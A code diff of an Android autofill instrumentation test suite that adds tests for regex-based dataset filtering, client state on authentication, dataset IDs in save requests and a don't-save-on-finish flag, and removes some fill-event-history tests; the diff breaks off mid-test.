import android.content.IntentSender;
import android.graphics.Color;
import android.os.Bundle;
-import android.service.autofill.FillEventHistory;
import android.service.autofill.SaveInfo;
import android.support.test.uiautomator.UiObject2;
import android.util.Log;
@@ -92,6 +87,7 @@
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicInteger;
+import java.util.regex.Pattern;
/**
* This is the test case covering most scenarios - other test cases will cover characteristics
@@ -338,6 +334,43 @@
}
@Test
+ public void testAutoFillDatasetWithoutFieldIsIgnored() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("The Dude"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "DUDE")
+ .setField(ID_PASSWORD, "SWEET")
+ .build())
+ .build());
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ // Make sure all datasets are available...
+ sUiBot.assertDatasets("The Dude");
+
+ // ... on all fields.
+ mActivity.onPassword(View::requestFocus);
+ sUiBot.assertDatasets("The Dude");
+
+ // Auto-fill it.
+ sUiBot.selectDataset("The Dude");
+
+ // Check the results.
+ mActivity.assertAutoFilled();
+ }
+
+ @Test
public void testAutoFillWhenViewHasChildAccessibilityNodes() throws Exception {
mActivity.onUsername((v) -> v.setAccessibilityDelegate(new AccessibilityDelegate() {
@Override
@@ -517,6 +550,7 @@
sReplier.addResponse(new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
+ .setId("I'm the alpha and the omega")
.setField(ID_USERNAME, "dude")
.setField(ID_PASSWORD, "sweet")
.setPresentation(createPresentation("The Dude"))
@@ -558,6 +592,8 @@
final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertThat(saveRequest.datasetIds).containsExactly("I'm the alpha and the omega");
+
// Assert value of expected fields - should not be sanitized.
final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
assertTextAndValue(username, "dude");
@@ -1116,6 +1152,61 @@
}
@Test
+ public void filterTextUsingRegex() throws Exception {
+ // Dataset presentations.
+ final String aa = "Two A's";
+ final String ab = "A and B";
+ final String b = "Only B";
+
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "whatever", Pattern.compile("a|aa"))
+ .setPresentation(createPresentation(aa))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "whatsoever", createPresentation(ab),
+ Pattern.compile("a|ab"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, (String) null, Pattern.compile("b"))
+ .setPresentation(createPresentation(b))
+ .build())
+ .build());
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ // With no filter text all datasets should be shown
+ sUiBot.assertDatasets(aa, ab, b);
+
+ // Only two datasets start with 'a'
+ runShellCommand("input keyevent KEYCODE_A");
+ sUiBot.assertDatasets(aa, ab);
+
+ // Only one dataset start with 'aa'
+ runShellCommand("input keyevent KEYCODE_A");
+ sUiBot.assertDatasets(aa);
+
+ // Only two datasets start with 'a'
+ runShellCommand("input keyevent KEYCODE_DEL");
+ sUiBot.assertDatasets(aa, ab);
+
+ // With no filter text all datasets should be shown
+ runShellCommand("input keyevent KEYCODE_DEL");
+ sUiBot.assertDatasets(aa, ab, b);
+
+ // No dataset start with 'aaa'
+ runShellCommand("input keyevent KEYCODE_A");
+ runShellCommand("input keyevent KEYCODE_A");
+ runShellCommand("input keyevent KEYCODE_A");
+ sUiBot.assertNoDatasets();
+ }
+
+ @Test
public void testSaveOnly() throws Exception {
saveOnlyTest(false);
}
@@ -1161,6 +1252,7 @@
final SaveRequest saveRequest = sReplier.getNextSaveRequest();
sReplier.assertNumberUnhandledSaveRequests(0);
+ assertThat(saveRequest.datasetIds).isNull();
// Assert value of expected fields - should not be sanitized.
try {
@@ -1577,6 +1669,42 @@
}
@Test
+ public void testDontTriggerSaveOnFinishWhenRequestedByFlag() throws Exception {
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+ .setSaveInfoFlags(SaveInfo.FLAG_DONT_SAVE_ON_FINISH)
+ .build());
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Sanity check.
+ sUiBot.assertNoDatasets();
+
+ // Wait for onFill() before proceeding, otherwise the fields might be changed before
+ // the session started
+ sReplier.getNextFillRequest();
+
+ // Set credentials...
+ mActivity.onUsername((v) -> v.setText("malkovich"));
+ mActivity.onPassword((v) -> v.setText("malkovich"));
+
+ // ...and login
+ final String expectedMessage = getWelcomeMessage("malkovich");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+ // Make sure it didn't trigger save.
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // Sanity check: session should have been canceled
+ assertNoDanglingSessions();
+ }
+
+ @Test
public void testAutoFillOneDatasetAndSaveWhenFlagSecure() throws Exception {
mActivity.setFlags(FLAG_SECURE);
testAutoFillOneDatasetAndSave();
@@ -1848,6 +1976,109 @@
}
@Test
+ public void testFillResponseAuthClientStateSetOnIntentOnly() throws Exception {
+ fillResponseAuthWithClientState(ClientStateLocation.INTENT_ONLY);
+ }
+
+ @Test
+ public void testFillResponseAuthClientStateSetOnFillResponseOnly() throws Exception {
+ fillResponseAuthWithClientState(ClientStateLocation.FILL_RESPONSE_ONLY);
+ }
+
+ @Test
+ public void testFillResponseAuthClientStateSetOnIntentAndFillResponse() throws Exception {
+ fillResponseAuthWithClientState(ClientStateLocation.BOTH);
+ }
+
+ enum ClientStateLocation {
+ INTENT_ONLY,
+ FILL_RESPONSE_ONLY,
+ BOTH
+ }
+
+ private void fillResponseAuthWithClientState(ClientStateLocation where) throws Exception {
+ // Set service.
+ enableService();
+
+ // Prepare the authenticated response
+ final CannedFillResponse.Builder authenticatedResponseBuilder =
+ new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("Dataset"))
+ .build());
+
+ if (where == ClientStateLocation.FILL_RESPONSE_ONLY || where == ClientStateLocation.BOTH) {
+ authenticatedResponseBuilder.setExtras(newClientState("CSI", "FromAuthResponse"));
+ }
+
+ final IntentSender authentication = where == ClientStateLocation.FILL_RESPONSE_ONLY
+ ? AuthenticationActivity.createSender(mContext, 1,
+ authenticatedResponseBuilder.build())
+ : AuthenticationActivity.createSender(mContext, 1,
+ authenticatedResponseBuilder.build(), newClientState("CSI", "FromIntent"));
+
+ // Configure the service behavior
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setAuthentication(authentication, ID_USERNAME)
+ .setIgnoreFields(ID_PASSWORD)
+ .setPresentation(createPresentation("Tap to auth response"))
+ .setExtras(newClientState("CSI", "FromResponse"))
+ .build());
+
+ // Set expectation for the activity
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger autofill.
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ // Tap authentication request.
+ sUiBot.selectDataset("Tap to auth response");
+
+ // Tap dataset.
+ sUiBot.selectDataset("Dataset");
+
+ // Check the results.
+ mActivity.assertAutoFilled();
+
+ // Now trigger save.
+ mActivity.onUsername((v) -> v.setText("malkovich"));
+ mActivity.onPassword((v) -> v.setText("malkovich"));
+ final String expectedMessage = getWelcomeMessage("malkovich");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+ // Assert client state on authentication activity.
+ assertClientState("auth activity", AuthenticationActivity.getData(), "CSI", "FromResponse");
+
+ // Assert client state on save request.
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ final String expectedValue = where == ClientStateLocation.FILL_RESPONSE_ONLY
+ ? "FromAuthResponse" : "FromIntent";
+ assertClientState("on save", saveRequest.data, "CSI", expectedValue);
+ }
+
+ // TODO(on master): move to helper / reuse in other places
+ private void assertClientState(String where, Bundle data, String expectedKey,
+ String expectedValue) {
+ assertWithMessage("no client state on %s", where).that(data).isNotNull();
+ final String extraValue = data.getString(expectedKey);
+ assertWithMessage("invalid value for %s on %s", expectedKey, where)
+ .that(extraValue).isEqualTo(expectedValue);
+ }
+
+ // TODO(on master): move to helper / reuse in other places
+ private Bundle newClientState(String key, String value) {
+ final Bundle clientState = new Bundle();
+ clientState.putString(key, value);
+ return clientState;
+ }
+
+ @Test
public void testFillResponseFiltering() throws Exception {
// Set service.
enableService();
@@ -1927,10 +2158,6 @@
}
private void datasetAuthTwoFields(boolean cancelFirstAttempt) throws Exception {
- // TODO: current API requires these fields...
- final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
- final String bogusValue = "Y U REQUIRE IT?";
-
// Set service.
enableService();
final MyAutofillCallback callback = mActivity.registerCallback();
@@ -1940,14 +2167,13 @@
new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
.setField(ID_PASSWORD, "sweet")
- .setPresentation(bogusPresentation)
.build());
// Configure the service behavior
sReplier.addResponse(new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
- .setField(ID_USERNAME, bogusValue)
- .setField(ID_PASSWORD, bogusValue)
+ .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
.setPresentation(createPresentation("Tap to auth dataset"))
.setAuthentication(authentication)
.build())
@@ -2080,7 +2306,6 @@
new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
.setField(ID_PASSWORD, "sweet")
- .setPresentation(createPresentation("Dataset"))
.build());
// Configure the service behavior
@@ -2115,10 +2340,6 @@
@Test
public void testDatasetAuthTwoDatasets() throws Exception {
- // TODO: current API requires these fields...
- final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
- final String bogusValue = "Y U REQUIRE IT?";
-
// Set service.
enableService();
final MyAutofillCallback callback = mActivity.registerCallback();
@@ -2127,7 +2348,6 @@
final CannedDataset unlockedDataset = new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
.setField(ID_PASSWORD, "sweet")
- .setPresentation(bogusPresentation)
.build();
final IntentSender authentication1 = AuthenticationActivity.createSender(mContext, 1,
unlockedDataset);
@@ -2137,14 +2357,14 @@
// Configure the service behavior
sReplier.addResponse(new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
- .setField(ID_USERNAME, bogusValue)
- .setField(ID_PASSWORD, bogusValue)
+ .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
.setPresentation(createPresentation("Tap to auth dataset 1"))
.setAuthentication(authentication1)
.build())
.addDataset(new CannedDataset.Builder()
- .setField(ID_USERNAME, bogusValue)
- .setField(ID_PASSWORD, bogusValue)
+ .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
.setPresentation(createPresentation("Tap to auth dataset 2"))
.setAuthentication(authentication2)
.build())
@@ -2192,7 +2412,6 @@
new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
.setField(ID_PASSWORD, "sweet")
- .setPresentation(createPresentation("Dataset"))
.build());
// Configure the service behavior
@@ -2238,11 +2457,7 @@
}
@Test
- public void testDatasetAuthFiltering() throws Exception {
- // TODO: current API requires these fields...
- final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
- final String bogusValue = "Y U REQUIRE IT?";
-
+ public void testDatasetAuthNoFiltering() throws Exception {
// Set service.
enableService();
final MyAutofillCallback callback = mActivity.registerCallback();
@@ -2251,7 +2466,6 @@
final CannedDataset unlockedDataset = new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
.setField(ID_PASSWORD, "sweet")
- .setPresentation(bogusPresentation)
.build();
final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
unlockedDataset);
@@ -2259,8 +2473,8 @@
// Configure the service behavior
sReplier.addResponse(new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
- .setField(ID_USERNAME, bogusValue)
- .setField(ID_PASSWORD, bogusValue)
+ .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
.setPresentation(createPresentation("Tap to auth dataset"))
.setAuthentication(authentication)
.build())
@@ -2300,6 +2514,161 @@
}
@Test
+ public void testDatasetAuthFilteringUsingAutofillValue() throws Exception {
+ // Set service.
+ enableService();
+ final MyAutofillCallback callback = mActivity.registerCallback();
+
+ // Create the authentication intents
+ final CannedDataset unlockedDataset = new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .build();
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+ unlockedDataset);
+
+ // Configure the service behavior
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("DS1"))
+ .setAuthentication(authentication)
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "DUDE,THE")
+ .setField(ID_PASSWORD, "SWEET")
+ .setPresentation(createPresentation("DS2"))
+ .setAuthentication(authentication)
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "ZzBottom")
+ .setField(ID_PASSWORD, "top")
+ .setPresentation(createPresentation("DS3"))
+ .setAuthentication(authentication)
+ .build())
+ .build());
+
+ // Set expectation for the activity
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Wait for onFill() before proceeding.
+ sReplier.getNextFillRequest();
+ final View username = mActivity.getUsername();
+
+ // Make sure it's showing initially...
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("DS1", "DS2", "DS3");
+
+ // ...then type something to hide them.
+ runShellCommand("input keyevent KEYCODE_A");
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // Now delete the char and assert they're shown again...
+ runShellCommand("input keyevent KEYCODE_DEL");
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("DS1", "DS2", "DS3");
+
+ // ...then filter for 2
+ runShellCommand("input keyevent KEYCODE_D");
+ sUiBot.assertDatasets("DS1", "DS2");
+
+ // ...up to 1
+ runShellCommand("input keyevent KEYCODE_U");
+ sUiBot.assertDatasets("DS1", "DS2");
+ runShellCommand("input keyevent KEYCODE_D");
+ sUiBot.assertDatasets("DS1", "DS2");
+ runShellCommand("input keyevent KEYCODE_E");
+ sUiBot.assertDatasets("DS1", "DS2");
+ runShellCommand("input keyevent KEYCODE_COMMA");
+ sUiBot.assertDatasets("DS2");
+
+ // Now delete the char and assert 2 are shown again...
+ runShellCommand("input keyevent KEYCODE_DEL");
+ final UiObject2 picker = sUiBot.assertDatasets("DS1", "DS2");
+
+ // ...and select it this time
+ sUiBot.selectDataset(picker, "DS1");
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // Check the results.
+ mActivity.assertAutoFilled();
+ }
+
+ @Test
+ public void testDatasetAuthFilteringUsingRegex() throws Exception {
+ // Set service.
+ enableService();
+ final MyAutofillCallback callback = mActivity.registerCallback();
+
+ // Create the authentication intents
+ final CannedDataset unlockedDataset = new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .build();
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+ unlockedDataset);
+
+ // Configure the service behavior
+
+ final Pattern min2Chars = Pattern.compile(".{2,}");
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE, min2Chars)
+ .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
+ .setPresentation(createPresentation("Tap to auth dataset"))
+ .setAuthentication(authentication)
+ .build())
+ .build());
+
+ // Set expectation for the activity
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Wait for onFill() before proceeding.
+ sReplier.getNextFillRequest();
+ final View username = mActivity.getUsername();
+
+ // Make sure it's showing initially...
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("Tap to auth dataset");
+
+ // ...then type something to hide it.
+ runShellCommand("input keyevent KEYCODE_A");
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // ...now type something again to show it, as the input will have 2 chars.
+ runShellCommand("input keyevent KEYCODE_A");
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("Tap to auth dataset");
+
+ // Delete the char and assert it's not shown again...
+ runShellCommand("input keyevent KEYCODE_DEL");
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // ...then type something again to show it, as the input will have 2 chars.
+ runShellCommand("input keyevent KEYCODE_A");
+ callback.assertUiShownEvent(username);
+
+ // ...and select it this time
+ sUiBot.selectDataset("Tap to auth dataset");
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // Check the results.
+ mActivity.assertAutoFilled();
+ }
+
+ @Test
public void testDatasetAuthMixedFilteringSelectAuth() throws Exception {
datasetAuthMixedFilteringTest(true);
}
@@ -2310,10 +2679,6 @@
}
private void datasetAuthMixedFilteringTest(boolean selectAuth) throws Exception {
- // TODO: current API requires these fields...
- final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
- final String bogusValue = "Y U REQUIRE IT?";
-
// Set service.
enableService();
final MyAutofillCallback callback = mActivity.registerCallback();
@@ -2322,7 +2687,6 @@
final CannedDataset unlockedDataset = new CannedDataset.Builder()
.setField(ID_USERNAME, "DUDE")
.setField(ID_PASSWORD, "SWEET")
- .setPresentation(bogusPresentation)
.build();
final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
unlockedDataset);
@@ -2330,8 +2694,8 @@
// Configure the service behavior
sReplier.addResponse(new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
- .setField(ID_USERNAME, bogusValue)
- .setField(ID_PASSWORD, bogusValue)
+ .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
.setPresentation(createPresentation("Tap to auth dataset"))
.setAuthentication(authentication)
.build())
@@ -2389,6 +2753,79 @@
}
@Test
+ public void testDatasetAuthClientStateSetOnIntentOnly() throws Exception {
+ fillDatasetAuthWithClientState(ClientStateLocation.INTENT_ONLY);
+ }
+
+ @Test
+ public void testDatasetAuthClientStateSetOnFillResponseOnly() throws Exception {
+ fillDatasetAuthWithClientState(ClientStateLocation.FILL_RESPONSE_ONLY);
+ }
+
+ @Test
+ public void testDatasetAuthClientStateSetOnIntentAndFillResponse() throws Exception {
+ fillDatasetAuthWithClientState(ClientStateLocation.BOTH);
+ }
+
+ private void fillDatasetAuthWithClientState(ClientStateLocation where) throws Exception {
+ // Set service.
+ enableService();
+
+ // Prepare the authenticated response
+ final CannedDataset dataset = new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .build();
+ final IntentSender authentication = where == ClientStateLocation.FILL_RESPONSE_ONLY
+ ? AuthenticationActivity.createSender(mContext, 1,
+ dataset)
+ : AuthenticationActivity.createSender(mContext, 1,
+ dataset, newClientState("CSI", "FromIntent"));
+
+ // Configure the service behavior
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+ .setExtras(newClientState("CSI", "FromResponse"))
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
+ .setPresentation(createPresentation("Tap to auth dataset"))
+ .setAuthentication(authentication)
+ .build())
+ .build());
+
+ // Set expectation for the activity
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ // Tap authentication request.
+ sUiBot.selectDataset("Tap to auth dataset");
+
+ // Check the results.
+ mActivity.assertAutoFilled();
+
+ // Now trigger save.
+ mActivity.onUsername((v) -> v.setText("malkovich"));
+ mActivity.onPassword((v) -> v.setText("malkovich"));
+ final String expectedMessage = getWelcomeMessage("malkovich");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+ // Assert client state on authentication activity.
+ assertClientState("auth activity", AuthenticationActivity.getData(), "CSI", "FromResponse");
+
+ // Assert client state on save request.
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ final String expectedValue = where == ClientStateLocation.FILL_RESPONSE_ONLY
+ ? "FromResponse" : "FromIntent";
+ assertClientState("on save", saveRequest.data, "CSI", expectedValue);
+ }
+
+ @Test
public void testDisableSelf() throws Exception {
enableService();
@@ -2938,408 +3375,6 @@
}
@Test
- public void checkFillSelectionAfterSelectingDatasetAuthentication() throws Exception {
- enableService();
-
- // Set up FillResponse with dataset authentication
- Bundle clientState = new Bundle();
- clientState.putCharSequence("clientStateKey", "clientStateValue");
-
- // Prepare the authenticated response
- final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
- new CannedDataset.Builder()
- .setField(ID_USERNAME, "dude")
- .setField(ID_PASSWORD, "sweet")
- .setPresentation(createPresentation("Dataset"))
- .build());
-
- sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
- new CannedDataset.Builder()
- .setField(ID_USERNAME, "username")
- .setId("name")
- .setPresentation(createPresentation("authentication"))
- .setAuthentication(authentication)
- .build())
- .setExtras(clientState).build());
- mActivity.expectAutoFill("dude", "sweet");
-
- // Trigger autofill.
- mActivity.onUsername(View::requestFocus);
-
- // Authenticate
- sUiBot.selectDataset("authentication");
- sReplier.getNextFillRequest();
- mActivity.assertAutoFilled();
-
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
- "clientStateValue");
-
- assertThat(selection.getEvents().size()).isEqualTo(1);
- FillEventHistory.Event event = selection.getEvents().get(0);
- assertThat(event.getType()).isEqualTo(TYPE_DATASET_AUTHENTICATION_SELECTED);
- assertThat(event.getDatasetId()).isEqualTo("name");
- }
-
- @Test
- public void checkFillSelectionAfterSelectingAuthentication() throws Exception {
- enableService();
-
- // Set up FillResponse with response wide authentication
- Bundle clientState = new Bundle();
- clientState.putCharSequence("clientStateKey", "clientStateValue");
-
- // Prepare the authenticated response
- final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
- new CannedFillResponse.Builder().addDataset(
- new CannedDataset.Builder()
- .setField(ID_USERNAME, "username")
- .setId("name")
- .setPresentation(createPresentation("dataset"))
- .build())
- .setExtras(clientState).build());
-
- sReplier.addResponse(new CannedFillResponse.Builder().setExtras(clientState)
- .setPresentation(createPresentation("authentication"))
- .setAuthentication(authentication, ID_USERNAME)
- .build());
-
- // Trigger autofill.
- mActivity.onUsername(View::requestFocus);
-
- // Authenticate
- sUiBot.selectDataset("authentication");
- sReplier.getNextFillRequest();
- sUiBot.assertDatasets("dataset");
-
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
- "clientStateValue");
-
- assertThat(selection.getEvents().size()).isEqualTo(1);
- FillEventHistory.Event event = selection.getEvents().get(0);
- assertThat(event.getType()).isEqualTo(TYPE_AUTHENTICATION_SELECTED);
- assertThat(event.getDatasetId()).isNull();
- }
-
- @Test
- public void checkFillSelectionAfterSelectingTwoDatasets() throws Exception {
- enableService();
-
- // Set up first partition with an anonymous dataset
- sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
- new CannedDataset.Builder()
- .setField(ID_USERNAME, "username")
- .setPresentation(createPresentation("dataset1"))
- .build())
- .build());
- mActivity.expectAutoFill("username");
-
- // Trigger autofill on username
- mActivity.onUsername(View::requestFocus);
- waitUntilConnected();
- sUiBot.selectDataset("dataset1");
- sReplier.getNextFillRequest();
- mActivity.assertAutoFilled();
-
- {
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection.getClientState()).isNull();
-
- assertThat(selection.getEvents().size()).isEqualTo(1);
- FillEventHistory.Event event = selection.getEvents().get(0);
- assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
- assertThat(event.getDatasetId()).isNull();
- }
-
- // Set up second partition with a named dataset
- Bundle clientState = new Bundle();
- clientState.putCharSequence("clientStateKey", "clientStateValue");
-
- sReplier.addResponse(new CannedFillResponse.Builder()
- .addDataset(
- new CannedDataset.Builder()
- .setField(ID_PASSWORD, "password2")
- .setPresentation(createPresentation("dataset2"))
- .setId("name2")
- .build())
- .addDataset(
- new CannedDataset.Builder()
- .setField(ID_PASSWORD, "password3")
- .setPresentation(createPresentation("dataset3"))
- .setId("name3")
- .build())
- .setExtras(clientState)
- .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_PASSWORD).build());
- mActivity.expectPasswordAutoFill("password3");
-
- // Trigger autofill on password
- mActivity.onPassword(View::requestFocus);
- sUiBot.selectDataset("dataset3");
- sReplier.getNextFillRequest();
- mActivity.assertAutoFilled();
-
- {
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
- "clientStateValue");
-
- assertThat(selection.getEvents().size()).isEqualTo(1);
- FillEventHistory.Event event = selection.getEvents().get(0);
- assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
- assertThat(event.getDatasetId()).isEqualTo("name3");
- }
-
- mActivity.onPassword((v) -> v.setText("new password"));
- mActivity.syncRunOnUiThread(() -> mActivity.finish());
- waitUntilDisconnected();
-
- {
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
- "clientStateValue");
-
- assertThat(selection.getEvents().size()).isEqualTo(2);
- FillEventHistory.Event event1 = selection.getEvents().get(0);
- assertThat(event1.getType()).isEqualTo(TYPE_DATASET_SELECTED);
- assertThat(event1.getDatasetId()).isEqualTo("name3");
-
- FillEventHistory.Event event2 = selection.getEvents().get(1);
- assertThat(event2.getType()).isEqualTo(TYPE_SAVE_SHOWN);
- assertThat(event2.getDatasetId()).isNull();
- }
- }
-
- @Test
- public void checkFillSelectionIsResetAfterReturningNull() throws Exception {
- enableService();
-
- // First reset
- sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
- new CannedDataset.Builder()
- .setField(ID_USERNAME, "username")
- .setPresentation(createPresentation("dataset1"))
- .build())
- .build());
- mActivity.expectAutoFill("username");
-
- mActivity.onUsername(View::requestFocus);
- waitUntilConnected();
- sReplier.getNextFillRequest();
- sUiBot.selectDataset("dataset1");
- mActivity.assertAutoFilled();
-
- {
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection.getClientState()).isNull();
-
- assertThat(selection.getEvents().size()).isEqualTo(1);
- FillEventHistory.Event event = selection.getEvents().get(0);
- assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
- assertThat(event.getDatasetId()).isNull();
- }
-
- // Second request
- sReplier.addResponse(NO_RESPONSE);
- mActivity.onPassword(View::requestFocus);
- sReplier.getNextFillRequest();
- sUiBot.assertNoDatasets();
- waitUntilDisconnected();
-
- {
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection).isNull();
- }
- }
-
- @Test
- public void checkFillSelectionIsResetAfterReturningError() throws Exception {
- enableService();
-
- // First reset
- sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
- new CannedDataset.Builder()
- .setField(ID_USERNAME, "username")
- .setPresentation(createPresentation("dataset1"))
- .build())
- .build());
- mActivity.expectAutoFill("username");
-
- mActivity.onUsername(View::requestFocus);
- waitUntilConnected();
- sReplier.getNextFillRequest();
- sUiBot.selectDataset("dataset1");
- mActivity.assertAutoFilled();
-
- {
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection.getClientState()).isNull();
-
- assertThat(selection.getEvents().size()).isEqualTo(1);
